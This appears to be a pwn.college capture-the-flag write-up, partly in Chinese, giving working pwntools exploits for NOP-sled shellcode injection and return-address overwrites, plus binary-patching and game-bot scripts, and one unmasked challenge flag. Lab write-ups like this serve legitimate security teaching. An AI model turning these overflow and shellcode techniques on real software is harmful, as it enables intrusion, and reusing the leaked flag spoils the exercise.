12
13
14
15
from pwn import *

context.update(arch='amd64', os='linux')
context.log_level = 'error'

p = process('/challenge/binary-exploitation-nopsled-shellcode')

nop_sled = b'\x90' * 2048
shellcode = asm(shellcraft.cat('/flag'))
payload = (nop_sled + shellcode).ljust(4096, b'\x90')

p.send(payload)
p.interactive()

# pwn.college{*******************************************}

NULL-Free Shellcode

Same as prev, pwntools shellcraft.cat is already null-free.

pwn.college{*******************************************}

Hijack to (Mapped) Shellcode (easy)

Two-stage: first send shellcode to mmap’d region, then overflow return address to jump there. Buffer 112 bytes, canary disabled.

Shellcode mapped at 0x2edca000. Padding to return address = 137 bytes.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *
import time

context.update(arch='amd64', os='linux')
context.log_level = 'error'

p = process('/challenge/binary-exploitation-hijack-to-mmap-shellcode-w')

# Stage 1: send shellcode
shellcode = asm(shellcraft.cat('/flag'))
p.send(shellcode.ljust(4096, b'\x90'))
time.sleep(0.5)

# Stage 2: overflow return address
padding = b'A' * 137
p.send(padding + p64(0x2edca000))
p.interactive()

# pwn.college{*******************************************}

Hijack to (Mapped) Shellcode (hard)

1
r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-hijack-to-mmap-shellcode
1
2
3
4
5
6
7
8
9
; mmap shellcode at fixed address 0x178d0000
0x0000153c bf00008d17 mov edi, 0x178d0000
0x00001541 e8bafbffff call sym.imp.mmap
; ...
; getchar() waits for newline between shellcode read and overflow read
0x000015f9 e842fbffff call sym.imp.getchar
; ...
; buf -> rbp - 0x30, padding = 0x30 + 8 = 56 bytes
0x00001622 488d45d0 lea rax, [buf]
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
from pwn import *
import time

context.update(arch='amd64', os='linux')
context.log_level = 'error'

p = process('/challenge/binary-exploitation-hijack-to-mmap-shellcode')

# Stage 1: send shellcode
shellcode = asm(shellcraft.cat('/flag'))
p.send(shellcode.ljust(4096, b'\x90'))
time.sleep(0.5)

# Stage 2: press enter for getchar()
p.sendline()
time.sleep(0.5)

# Stage 3: overflow return address
padding = b'A' * 48 + b'B' * 8
p.send(padding + p64(0x178d0000))
p.interactive()

# pwn.college{*******************************************}

Hijack to Shellcode (easy)

Buffer 102 bytes, return address 136 bytes after buffer. ASLR disabled, stack executable, canary disabled, no PIE.

Stack addresses are fixed: buffer at 0x7fffffffd1a0, return address at 0x7fffffffd228.

NOP Sled 的必要性

通过 pwntoolsprocess() 跑程序和直接在 bash 里跑,传递的环境变量不同:

  • pwntools 可能带不同的 _ 变量、Python 继承的环境变量、argv[0] 路径长度不同
  • 环境变量占据空间变化导致栈指针偏移十几字节

\x90 NOP sled 铺在 shellcode 前面可以容忍这种偏移。

Stack Overlap / Self-Destruct

retRSP 上移 8 字节。如果 shellcode 紧贴返回地址,shellcode 中的 push 指令会往回覆盖自己的机器码(栈向下生长,push 减 RSP 写入数据)。

解决:用 padding 隔开 shellcode 和返回地址,让 shellcode 放在返回地址之前。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "error"

p = process("/challenge/binary-exploitation-hijack-to-shellcode-w")

target_address = 0x7FFFFFFFD1B0
offset = 136
nop_sled = b"\x90" * 32
shellcode = asm(shellcraft.cat("/flag"))
padding_len = offset - len(shellcode) - len(nop_sled)

# [NOP sled] + [Shellcode] + [Padding] + [RetAddr -> NOP sled]
payload = nop_sled + shellcode + (b"A" * padding_len) + p64(target_address)
p.send(payload)
p.interactive()

# pwn.college{*******************************************}

Hijack to Shellcode (hard)

1
r2 -A -q -c "pdf @ sym.challenge" /challenge/binary-exploitation-hijack-to-shellcode
1
2
3
; buf -> rbp - 0x40, padding = 0x40 + 8 = 72 bytes
0x00401d22 488d45c0 lea rax, [buf]
0x00401d26 4889c6 mov rsi, rax ; read into buf

Use GDB (with ASLR disabled) to find exact buffer address:

1
2
3
4
5
pwngdb /challenge/binary-exploitation-hijack-to-shellcode
unset env
break *0x00401d2e
run
# rsi (buf) = 0x00007fffffffdc70

buffer -> 0x00007fffffffdc70

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
from pwn import *

context.update(arch="amd64", os="linux")
context.log_level = "error"

p = process("/challenge/binary-exploitation-hijack-to-shellcode", env={})

# target somewhere in the NOP sled after return address
target_address = 0x00007fffffffdd70
offset = 72 # 0x40 + 8
shellcode = asm(shellcraft.cat("/flag"))
nop_sled = b"\x90" * 2000

# [Padding] + [RetAddr] + [NOP sled] + [Shellcode]
payload = b"A" * offset + p64(target_address) + nop_sled + shellcode
p.send(payload)
p.interactive()

# pwn.college{*******************************************}

Patching Control Flow

This level is trickier: you’ll need to patch slightly trickier instructions. This gets you much closer to real patching for interoperability!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
#!/usr/bin/exec-suid -- /usr/bin/python3 -I

import termios
import random
import struct
import string
import sys
import os


class CIMG_NORMAL:
MAGIC = b"cIMG"
RENDER_FRAME = struct.pack("<H", 1)
RENDER_PATCH = struct.pack("<H", 2)
CREATE_SPRITE = struct.pack("<H", 3)
RENDER_SPRITE = struct.pack("<H", 4)
LOAD_SPRITE = struct.pack("<H", 5)
FLUSH = struct.pack("<H", 6)
SLEEP = struct.pack("<H", 7)

class CIMG_1337:
MAGIC = b"CNNR"
RENDER_FRAME = struct.pack("<H", 7)
RENDER_PATCH = struct.pack("<H", 6)
CREATE_SPRITE = struct.pack("<H", 5)
RENDER_SPRITE = struct.pack("<H", 4)
LOAD_SPRITE = struct.pack("<H", 3)
FLUSH = struct.pack("<H", 2)
SLEEP = struct.pack("<H", 1)

class GraphicsEngine:
def __init__(self, width, height, cimg_version=4, cimg_ops=CIMG_1337):
self.num_sprites = 0
self.ops = cimg_ops
self.width = width
self.height = height
self.output = os.fdopen(1, 'wb', buffering=0)

self.output.write(
self.ops.MAGIC +
struct.pack("<H", cimg_version) +
bytes([width, height]) +
b"\xff\xff\xff\xff"
)

def render_frame_monochrome(self, lines, r=0xff, g=0xc6, b=0x27):
self.output.write(
self.ops.RENDER_FRAME +
b"".join(bytes([r, g, b, c]) for c in b"".join(lines))
)

def render_patch_monochrome(self, lines, x, y, r=0xff, g=0xc6, b=0x27):
assert all(b >= 20 and b <= 0x7e for b in b"".join(lines))
self.output.write(
self.ops.RENDER_PATCH +
bytes([x, y, len(lines[0]), len(lines)]) +
b"".join(bytes([r, g, b, c]) for c in b"".join(lines))
)

def create_sprite(self, lines, num=None):
if num is None:
num = self.num_sprites
self.num_sprites += 1

self.output.write(
self.ops.CREATE_SPRITE +
bytes([num, len(lines[0]), len(lines)]) +
b"".join(lines)
)
return num

def render_sprite(self, num, x, y, tile_x=1, tile_y=1, r=0x8c, g=0x1d, b=0x40, t=" "):
self.output.write(
self.ops.RENDER_SPRITE + bytes([num, r, g, b, x, y, tile_x, tile_y, ord(t)])
)

def flush(self, clear=True):
self.output.write(self.ops.FLUSH + bytes([clear]))

def sleep(self, ms):
self.output.write(self.ops.SLEEP + struct.pack("<I", ms))

def blank(self):
self.render_patch_monochrome([ b" "*self.width ]*self.height, 1, 1)
self.flush()

def animate_text(self, text, x, y, r=None, g=None, b=None, interval=20):
for i,c in enumerate(text):
self.render_patch_monochrome(
[bytes([ord(c)])], x+i, y,
r=random.randrange(128, 256) if r is None else r,
g=random.randrange(128, 256) if g is None else g,
b=random.randrange(128, 256) if b is None else b
)
self.flush()
self.sleep(interval)

class InputEngine:
# adapted from https://github.com/magmax/python-readchar/blob/master/readchar/_posix_read.py
@staticmethod
def readchar():
fd = sys.stdin.fileno()
old_settings = termios.tcgetattr(fd)
term = termios.tcgetattr(fd)
try:
term[3] &= ~(termios.ICANON | termios.ECHO | termios.IGNBRK | termios.BRKINT)
termios.tcsetattr(fd, termios.TCSAFLUSH, term)
return sys.stdin.read(1)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)

def game():
w = 70
h = 20
x = random.randrange(w)
y = random.randrange(h)

victory = False

kb = InputEngine()
screen = GraphicsEngine(w, h, cimg_ops=CIMG_NORMAL if "NOFLAG" in sys.argv else CIMG_1337)
our_sprite = screen.create_sprite([ b"\\o/", b" ^ "])

screen.render_frame_monochrome([ b"#"*(w) ]*(h), r=255, g=255, b=255)
screen.render_patch_monochrome([ b" "*(w-2) ]*(h-2), 1, 1)
screen.flush()

screen.animate_text("WELCOME TO THE EPIC QUEST FOR THE FLAG", 4, 4)
screen.animate_text("INSTRUCTIONS:", 4, 10)
screen.animate_text("- w: UP", 4, 11)
screen.animate_text("- a: LEFT", 4, 12)
screen.animate_text("- s: DOWN", 4, 13)
screen.animate_text("- d: RIGHT", 4, 14)
screen.animate_text("- q: QUIT", 4, 15)
screen.animate_text("- l: LOOK", 4, 16)
screen.animate_text("YOUR GOAL: UNCOVER THE FLAG", 4, 17)
screen.animate_text("PRESS ANY KEY TO BEGIN", 8, 18)
if kb.readchar() in ("q", "\x03"):
return

screen.blank()

try:
if "NOFLAG" in sys.argv:
flag = b"TEST"
else:
flag = open("/flag", "rb").read().strip()
except FileNotFoundError:
flag = b"ERROR: /flag NOT FOUND"
except PermissionError:
flag = b"ERROR: /flag permission denied"

hidden_bytes = [ bytes([b]) for b in flag ][::-1]

hidden_x = random.randrange(w)
hidden_y = random.randrange(h)
revealed_bytes = [ ]

bomb_x = random.randrange(w)
bomb_y = random.randrange(h)
while bomb_x in (x, x+1, x+2) and bomb_y in (y, y+1):
bomb_x = random.randrange(w)
bomb_y = random.randrange(h)

key = ""
while True:
# quit on q or ctrl-c
if key == "q" or key == "\x03":
break

# move
if key == "w": y = (y-1)%h
if key == "a": x = (x-1)%w
if key == "s": y = (y+1)%h
if key == "d": x = (x+1)%w

# check bomb
if bomb_x in (x, x+1, x+2) and bomb_y in (y, y+1):
screen.blank()
screen.animate_text("~~~~~ BOOOOOOOOM ~~~~~~", x, y)
break

# uncover flag
if hidden_bytes and key == "l" and hidden_x in (x, x+1, x+2) and hidden_y in (y, y+1):
revealed_bytes.append([
hidden_x, hidden_y,
random.randrange(128, 256), random.randrange(128, 256), random.randrange(128, 256),
hidden_bytes.pop()
])
bomb_x = random.randrange(w)
bomb_y = random.randrange(h)
while bomb_x in (x, x+1, x+2) and bomb_y in (y, y+1):
bomb_x = random.randrange(w)
bomb_y = random.randrange(h)
prev_hidden_x = hidden_x
prev_hidden_y = hidden_y
while hidden_x == prev_hidden_x and hidden_y == prev_hidden_y:
hidden_x = (bomb_x+random.randrange(w-1))%w
hidden_y = (bomb_y+random.randrange(h-1))%h

# render everyone
screen.blank()
correct_bytes = ''
for rx,ry,r,g,b,c in revealed_bytes:
screen.render_patch_monochrome([c], rx, ry, r=r, g=g, b=b)
correct_bytes += str(c.decode())
if hidden_bytes:
screen.render_patch_monochrome(
[b"?"], hidden_x, hidden_y,
r=random.randrange(256), g=random.randrange(256), b=random.randrange(256)
)
else:
try:
while True:
screen.animate_text("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!", 10, hidden_y)
screen.animate_text("!!! CONGRATULATIONS, YOU DID IT !!!", 10, hidden_y + 1)
screen.animate_text(correct_bytes, 10, hidden_y + 2)
screen.animate_text("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!", 10, hidden_y + 1)
except KeyboardInterrupt:
print(flag.decode(), file=sys.stderr) # Print decoded flag to stderr
break

screen.render_patch_monochrome([b"B"], bomb_x, bomb_y)
screen.render_sprite(our_sprite, x, y)
screen.flush()

key = kb.readchar()

if __name__ == "__main__":
game()

bypass with the code used in prev challenge

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
import struct
import subprocess

from pwn import *


def solve(known_flag):
try:
# PTY 欺骗 termios,PIPE 保证二进制流纯净
p = process(
["/challenge/quest.py"],
stdin=process.PTY,
stdout=subprocess.PIPE,
stderr=subprocess.PIPE,
)
except Exception as e:
return known_flag

try:
p.recvn(12) # 魔数
except EOFError:
return known_flag

state = {
"px": -1,
"py": -1,
"hx": -1,
"hy": -1,
"bx": -1,
"by": -1,
"frame_flag": "",
}

def parse_frame():
state["px"] = state["bx"] = state["hx"] = -1
frame_chars = ""
saw_player = False

while True:
try:
# 超时阻断,防止卡在输入缓冲区死锁
if not p.can_recv(timeout=0.2):
return "TIMEOUT"

op_bytes = p.recvn(2)
if not op_bytes:
return False
op = struct.unpack("<H", op_bytes)[0]
except EOFError:
return False

if op == 7: # RENDER_FRAME
p.recvn(70 * 20 * 4)
elif op == 6: # RENDER_PATCH
px, py, pw, ph = struct.unpack("<BBBB", p.recvn(4))
pixels = p.recvn(pw * ph * 4)
if pw == 1 and ph == 1:
# 获取 RGB 和 字符
r_col, g_col, b_col, c = pixels[0], pixels[1], pixels[2], pixels[3]
if c == ord("?"):
state["hx"], state["hy"] = px, py
elif c == ord("B") and r_col == 0xff and g_col == 0xc6 and b_col == 0x27:
# 只有黄色 (255, 198, 39) 的 B 才是炸弹, Flag may be B
state["bx"], state["by"] = px, py
elif chr(c) not in (" ", "!", "#"):
frame_chars += chr(c)
elif op == 5: # CREATE_SPRITE
s_id, sw, sh = struct.unpack("<BBB", p.recvn(3))
p.recvn(sw * sh)
elif op == 4: # RENDER_SPRITE
num, r, g, b, px, py, tx, ty, tc = struct.unpack(
"<BBBBBBBBB", p.recvn(9)
)
if num == 0:
state["px"], state["py"] = px, py
saw_player = True
elif op == 2: # FLUSH (当前帧渲染完毕)
p.recvn(1)
if saw_player or "pwn.college" in frame_chars:
state["frame_flag"] = frame_chars
return True
elif op == 1: # SLEEP
p.recvn(4)
else:
return False
def get_best_move(px, py, hx, hy, bx, by):
"""BFS 最短路径寻路"""
queue = [(px, py, [])]
visited = set([(px, py)])
while queue:
cx, cy, path = queue.pop(0)

# 3x2 bounding box
if hx in (cx, cx + 1, cx + 2) and hy in (cy, cy + 1):
return path[0] if path else "l"

for key, dx, dy in [("w", 0, -1), ("s", 0, 1), ("a", -1, 0), ("d", 1, 0)]:
# Toroidal Map Wrapping
nx, ny = (cx + dx) % 70, (cy + dy) % 20
# boom here
if not (bx in (nx, nx + 1, nx + 2) and by in (ny, ny + 1)):
if (nx, ny) not in visited:
visited.add((nx, ny))
queue.append((nx, ny, path + [key]))
return "SOFTLOCK"

while True:
res = parse_frame()

if res == "TIMEOUT":
p.send(b" ")
continue

if not res:
p.close()
break

# 增量比对:只在提取进度超越已知记录时才打印
if state["frame_flag"] and len(state["frame_flag"]) > len(known_flag):
known_flag = state["frame_flag"]
print(f"[+] Extracted so far: {known_flag}")
if known_flag.endswith("}"):
p.close()
return known_flag

if state["px"] != -1 and state["bx"] != -1 and state["hx"] != -1:
move = get_best_move(
state["px"],
state["py"],
state["hx"],
state["hy"],
state["bx"],
state["by"],
)
if move == "SOFTLOCK":
print(
f"[*] Soft-lock detected at Target ({state['hx']:02d},{state['hy']:02d}). "
)
p.close()
return known_flag
p.send(move.encode())
return known_flag


if __name__ == "__main__":
print("START")
current_flag = ""
while True:
current_flag = solve(current_flag)
pwn.college{gYs8nkSujIlpvBgfSQmylAnZ9KE.QX0IzMwEDL4cjM1gzW}

Patching Code

The previous level was lucky — no actual code had to be patched. This level will be your first foray into binary patching at the code level, but the only things you’ll need to patch will be simple constants used by x86 comparison instructions. Good luck!

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
class CIMG_NORMAL:
MAGIC = b"cIMG"
RENDER_FRAME = struct.pack("<H", 1)
RENDER_PATCH = struct.pack("<H", 2)
CREATE_SPRITE = struct.pack("<H", 3)
RENDER_SPRITE = struct.pack("<H", 4)
LOAD_SPRITE = struct.pack("<H", 5)
FLUSH = struct.pack("<H", 6)
SLEEP = struct.pack("<H", 7)

class CIMG_1337:
MAGIC = b"CNNR"
RENDER_FRAME = struct.pack("<H", 7)
RENDER_PATCH = struct.pack("<H", 6)
CREATE_SPRITE = struct.pack("<H", 5)
RENDER_SPRITE = struct.pack("<H", 4)
LOAD_SPRITE = struct.pack("<H", 3)
FLUSH = struct.pack("<H", 2)
SLEEP = struct.pack("<H", 1)

class GraphicsEngine:
def __init__(self, width, height, cimg_version=4, cimg_ops=CIMG_1337):
self.num_sprites = 0
self.ops = cimg_ops
self.width = width
self.height = height
self.output = os.fdopen(1, 'wb', buffering=0)

self.output.write(
self.ops.MAGIC +
struct.pack("<H", cimg_version) +
bytes([width, height]) +
b"\xff\xff\xff\xff"
)

def render_frame_monochrome(self, lines, r=0xff, g=0xc6, b=0x27):
self.output.write(
self.ops.RENDER_FRAME +
b"".join(bytes([r, g, b, c]) for c in b"".join(lines))
)

def render_patch_monochrome(self, lines, x, y, r=0xff, g=0xc6, b=0x27):
assert all(b >= 20 and b <= 0x7e for b in b"".join(lines))
self.output.write(
self.ops.RENDER_PATCH +
bytes([x, y, len(lines[0]), len(lines)]) +
b"".join(bytes([r, g, b, c]) for c in b"".join(lines))
)

def create_sprite(self, lines, num=None):
if num is None:
num = self.num_sprites
self.num_sprites += 1

self.output.write(
self.ops.CREATE_SPRITE +
bytes([num, len(lines[0]), len(lines)]) +
b"".join(lines)
)
return num

def render_sprite(self, num, x, y, tile_x=1, tile_y=1, r=0x8c, g=0x1d, b=0x40, t=" "):
self.output.write(
self.ops.RENDER_SPRITE + bytes([num, r, g, b, x, y, tile_x, tile_y, ord(t)])
)

def flush(self, clear=True):
self.output.write(self.ops.FLUSH + bytes([clear]))

def sleep(self, ms):
self.output.write(self.ops.SLEEP + struct.pack("<I", ms))

def blank(self):
self.render_patch_monochrome([ b" "*self.width ]*self.height, 1, 1)
self.flush()

def animate_text(self, text, x, y, r=None, g=None, b=None, interval=20):
for i,c in enumerate(text):
self.render_patch_monochrome(
[bytes([ord(c)])], x+i, y,
r=random.randrange(128, 256) if r is None else r,
g=random.randrange(128, 256) if g is None else g,
b=random.randrange(128, 256) if b is None else b
)
self.flush()
self.sleep(interval)

class InputEngine:
# adapted from https://github.com/magmax/python-readchar/blob/master/readchar/_posix_read.py
@staticmethod
def readchar():
fd = sys.stdin.fileno()
old_settings = termios.tcgetattr(fd)
term = termios.tcgetattr(fd)
try:
term[3] &= ~(termios.ICANON | termios.ECHO | termios.IGNBRK | termios.BRKINT)
termios.tcsetattr(fd, termios.TCSAFLUSH, term)
return sys.stdin.read(1)
finally:
termios.tcsetattr(fd, termios.TCSADRAIN, old_settings)

def game():
w = 70
h = 20
x = random.randrange(w)
y = random.randrange(h)

victory = False

kb = InputEngine()
screen = GraphicsEngine(w, h, cimg_ops=CIMG_NORMAL if "NOFLAG" in sys.argv else CIMG_1337)
our_sprite = screen.create_sprite([ b"\\o/", b" ^ "])

screen.render_frame_monochrome([ b"#"*(w) ]*(h), r=255, g=255, b=255)
screen.render_patch_monochrome([ b" "*(w-2) ]*(h-2), 1, 1)
screen.flush()

screen.animate_text("WELCOME TO THE EPIC QUEST FOR THE FLAG", 4, 4)
screen.animate_text("INSTRUCTIONS:", 4, 10)
screen.animate_text("- w: UP", 4, 11)
screen.animate_text("- a: LEFT", 4, 12)
screen.animate_text("- s: DOWN", 4, 13)
screen.animate_text("- d: RIGHT", 4, 14)
screen.animate_text("- q: QUIT", 4, 15)
screen.animate_text("- l: LOOK", 4, 16)
screen.animate_text("YOUR GOAL: UNCOVER THE FLAG", 4, 17)
screen.animate_text("PRESS ANY KEY TO BEGIN", 8, 18)
if kb.readchar() in ("q", "\x03"):
return

screen.blank()

try:
if "NOFLAG" in sys.argv:
flag = b"TEST"
else:
flag = open("/flag", "rb").read().strip()
except FileNotFoundError:
flag = b"ERROR: /flag NOT FOUND"
except PermissionError:
flag = b"ERROR: /flag permission denied"

hidden_bytes = [ bytes([b]) for b in flag ][::-1]

hidden_x = random.randrange(w)
hidden_y = random.randrange(h)
revealed_bytes = [ ]

bomb_x = random.randrange(w)
bomb_y = random.randrange(h)
while bomb_x in (x, x+1, x+2) and bomb_y in (y, y+1):
bomb_x = random.randrange(w)
bomb_y = random.randrange(h)

key = ""
while True:
# quit on q or ctrl-c
if key == "q" or key == "\x03":
break

# move
if key == "w": y = (y-1)%h
if key == "a": x = (x-1)%w
if key == "s": y = (y+1)%h
if key == "d": x = (x+1)%w

# check bomb
if bomb_x in (x, x+1, x+2) and bomb_y in (y, y+1):
screen.blank()
screen.animate_text("~~~~~ BOOOOOOOOM ~~~~~~", x, y)
break

# uncover flag
if hidden_bytes and key == "l" and hidden_x in (x, x+1, x+2) and hidden_y in (y, y+1):
revealed_bytes.append([
hidden_x, hidden_y,
random.randrange(128, 256), random.randrange(128, 256), random.randrange(128, 256),
hidden_bytes.pop()
])
bomb_x = random.randrange(w)
bomb_y = random.randrange(h)
while bomb_x in (x, x+1, x+2) and bomb_y in (y, y+1):
bomb_x = random.randrange(w)
bomb_y = random.randrange(h)
prev_hidden_x = hidden_x
prev_hidden_y = hidden_y
while hidden_x == prev_hidden_x and hidden_y == prev_hidden_y:
hidden_x = (bomb_x+random.randrange(w-1))%w
hidden_y = (bomb_y+random.randrange(h-1))%h

# render everyone
screen.blank()
correct_bytes = ''
for rx,ry,r,g,b,c in revealed_bytes:
screen.render_patch_monochrome([c], rx, ry, r=r, g=g, b=b)
correct_bytes += str(c.decode())
if hidden_bytes:
screen.render_patch_monochrome(
[b"?"], hidden_x, hidden_y,
r=random.randrange(256), g=random.randrange(256), b=random.randrange(256)
)
else:
try:
while True:
screen.animate_text("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!", 10, hidden_y)
screen.animate_text("!!! CONGRATULATIONS, YOU DID IT !!!", 10, hidden_y + 1)
screen.animate_text(correct_bytes, 10, hidden_y + 2)
screen.animate_text("!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!", 10, hidden_y + 1)
except KeyboardInterrupt:
print(flag.decode(), file=sys.stderr) # Print decoded flag to stderr
break

screen.render_patch_monochrome([b"B"], bomb_x, bomb_y)
screen.render_sprite(our_sprite, x, y)
screen.flush()

key = kb.readchar()

if __name__ == "__main__":
game()

所有指令的 Opcode 倒序

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
class CIMG_NORMAL:
RENDER_FRAME = 1
RENDER_PATCH = 2
CREATE_SPRITE = 3
RENDER_SPRITE = 4
LOAD_SPRITE = 5
FLUSH = 6
SLEEP = 7

class CIMG_1337:
RENDER_FRAME = 7
RENDER_PATCH = 6
CREATE_SPRITE = 5
RENDER_SPRITE = 4 # not changed
LOAD_SPRITE = 3
FLUSH = 2
SLEEP = 1

check the /challenge/cimg

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
r2 -A -q -c "pdf @ main" /challenge/cimg | grep -E "cmp.*(1|2|3|4|5|6|7)" -A 1

WARN: Relocs has not been applied. Please use `-e bin.relocs.apply=true` or `-e bin.cache=true` next time
INFO: Analyze all flags starting with sym. and entry0 (aa)
INFO: Analyze imports (af@@@i)
INFO: Analyze entrypoint (af@ entry0)
INFO: Analyze symbols (af@@@s)
INFO: Analyze all functions arguments/locals (afva@@@F)
INFO: Analyze function calls (aac)
INFO: Analyze len bytes of instructions for references (aar)
INFO: Finding and parsing C++ vtables (avrr)
INFO: Analyzing methods (af @@ method.*)
INFO: Recovering local variables (afva@@@F)
INFO: Type matching analysis for all functions (aaft)
INFO: Propagate noreturn information (aanr)
INFO: Use -AA or aaaa to perform additional experimental analysis
│ │ 0x00401323 e8f8feffff call sym.imp.strcmp ; int strcmp(const char *s1, const char *s2)
│ │ 0x00401328 85c0 test eax, eax
--
│ │ 0x0040137f e8fcfdffff call sym.imp.strncmp ; int strncmp(const char *s1, const char *s2, size_t n)
│ │ 0x00401384 85c0 test eax, eax
--
│ ╎ ╎└─> 0x0040139c 66837c241404 cmp word [var_14h], 4
│ ╎ ╎ 0x004013a2 488d3d721f.. lea rdi, str.ERROR:_Unsupported_version_ ; 0x40331b ; "ERROR: Unsupported version!"
--
│ ╎╎╎╎╎╎╎ 0x004013ea 6683f901 cmp cx, 1 ; 1
│ ────────< 0x004013ee 750a jne 0x4013fa
--
│ ────────> 0x004013fa 6683f902 cmp cx, 2 ; 2
│ ────────< 0x004013fe 750a jne 0x40140a
--
│ ────────> 0x0040140a 6683f903 cmp cx, 3 ; 3
│ ┌───────< 0x0040140e 750a jne 0x40141a
--
│ └───────> 0x0040141a 6683f904 cmp cx, 4 ; 4
│ ┌──────< 0x0040141e 750a jne 0x40142a
--
│ └──────> 0x0040142a 6683f905 cmp cx, 5 ; 5
│ ┌─────< 0x0040142e 750d jne 0x40143d
--
│ └─────> 0x0040143d 6683f906 cmp cx, 6 ; 6
│ ╎┌───< 0x00401441 750d jne 0x401450
--
│ ╎└───> 0x00401450 6683f907 cmp cx, 7 ; 7
│ ╎ ┌──< 0x00401454 750d jne 0x401463
1
0x004013ea     6683f901      cmp cx, 1
  • 66:操作数大小重写前缀(告诉 CPU 我们在比较 16 位的 cx,而不是 32 位的 ecx)。
  • 83 f9:这是 cmp cx, 立即数 的操作码。
  • 01要修改的目标常量

所以,这条指令的起始内存地址是 0x004013ea,而那个常量 01 所在的具体内存地址是 0x004013ea + 3 = 0x004013ed

在标准的非 PIE(位置无关可执行文件)ELF 二进制中,代码段默认被加载到基址(Base Address)0x400000。 这就意味着:物理文件偏移 (File Offset) = 虚拟内存地址 (VMA) - 0x400000

按照咱们之前整理的倒序映射逻辑 (1->7, 2->6, 3->5, 5->3, 6->2, 7->1),我们可以精确算出需要 Patch 的物理文件偏移:

  • cmp cx, 1 (0x4013ea) -> 常量偏移 0x13ed -> 改为 07
  • cmp cx, 2 (0x4013fa) -> 常量偏移 0x13fd -> 改为 06
  • cmp cx, 3 (0x40140a) -> 常量偏移 0x140d -> 改为 05
  • cmp cx, 5 (0x40142a) -> 常量偏移 0x142d -> 改为 03
  • cmp cx, 6 (0x40143d) -> 常量偏移 0x1440 -> 改为 02
  • cmp cx, 7 (0x401450) -> 常量偏移 0x1453 -> 改为 01
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
import os

def patch_binary():
with open("/challenge/cimg", "rb") as f:
# bytearray 允许我们在内存中直接原地修改字节
data = bytearray(f.read())

# 1. Data-Level Patch: 替换魔数
magic_idx = data.find(b"cIMG")
if magic_idx != -1:
data[magic_idx:magic_idx+4] = b"CNNR"
print("[+] Magic number patched to CNNR.")

# 2. 替换 x86 cmp 指令的立即数
patches = {
0x13ed: 7, # 1 -> 7
0x13fd: 6, # 2 -> 6
0x140d: 5, # 3 -> 5
# 0x141d: 4 # 4 不变,跳过
0x142d: 3, # 5 -> 3
0x1440: 2, # 6 -> 2
0x1453: 1, # 7 -> 1
}

for offset, new_val in patches.items():
old_val = data[offset]
data[offset] = new_val
print(f"[+] Patched offset 0x{offset:04x}: {old_val} -> {new_val}")

# 3. 写入新的可执行文件
patched_bin = "patched_cimg"
with open(patched_bin, "wb") as f:
f.write(data)

# 赋予执行权限
os.chmod(patched_bin, 0o755)
print(f"\n[+] Surgery complete! Engine compiled: ./{patched_bin}")

if __name__ == "__main__":
patch_binary()

or

我们只需要在原来的 arch_bot.py 里做一点微小的外科手术:把解析 Opcode 的那几个 if 分支,按照 quest.py 里的魔改逻辑倒过来(1变7,2变6,3变5,6变2,7变1,4不变)。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
